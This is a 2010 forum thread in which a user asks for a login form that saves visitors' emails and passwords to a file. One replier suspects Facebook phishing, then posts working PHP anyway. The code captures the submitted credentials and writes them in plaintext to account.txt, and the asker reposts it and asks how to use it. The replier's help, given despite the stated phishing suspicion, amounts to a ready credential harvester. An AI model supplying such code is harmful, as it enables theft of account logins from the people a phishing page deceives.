really need help

Discussion in 'Programming' started by setrweda, Apr 11, 2010.

  1. #1
    :(
    Hi every one i need help in my website i want to add this option
    or something like this
    ______________
    <form>
    <p> Enter E-mail :
    <input type="text" name="text">
    </p>
    <p>Enter Passwrod :
    <input type="password" name="text">
    <input type="button" value="Submit" name="Submit"
    </p>
    </form>
    ______________

    but i want to add more option that:
    when some one press submit button the data entry "the email and passwrod"
    it save to a file on my website storage space.

    i can't find the help, plz help me....
    thankx aloooot
     
    setrweda, Apr 11, 2010 IP
  2. guardian999

    guardian999 Well-Known Member

    Messages:
    376
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    103
    #2
    facebook phising ??
    
    <?php
    if(isset($_POST['submit'])){
      $email = $_POST['email'];
      $pass = $_POST['pass'];
    
     $fp =  fopen('account.txt','w+');
      if($fp){
            $account = $email.'|'.$pass;
            fwrite($fp,$account);
            fclose($fp);
      }
    
    }
    ?>
    <form action="" method="post">
    <p> Enter E-mail :
    <input type="text" name="email" />
    </p>
    <p>Enter Passwrod :
    <input type="password" name="pass" />
    <input type="submit" value="Submit" name="submit" />
    </p>
    </form>
    
    PHP:
     
    guardian999, Apr 11, 2010 IP
  3. setrweda

    setrweda Peon

    Messages:
    6
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #3
    i'll try if this work or didn't work. any way.. that you answer me and give me something from your time this make me happy..
    thank you verymuch.
     
    setrweda, Apr 11, 2010 IP
  4. setrweda

    setrweda Peon

    Messages:
    6
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #4
    it look nice, thank you alot, but did this part need for me to edit? or do something?
    _____________
    <?php
    if(isset($_POST['submit'])){
    $email = $_POST['email'];
    $pass = $_POST['pass'];

    $fp = fopen('account.txt','w+');
    if($fp){
    $account = $email.'|'.$pass;
    fwrite($fp,$account);
    fclose($fp);
    ____________

    thank you again
     
    setrweda, Apr 12, 2010 IP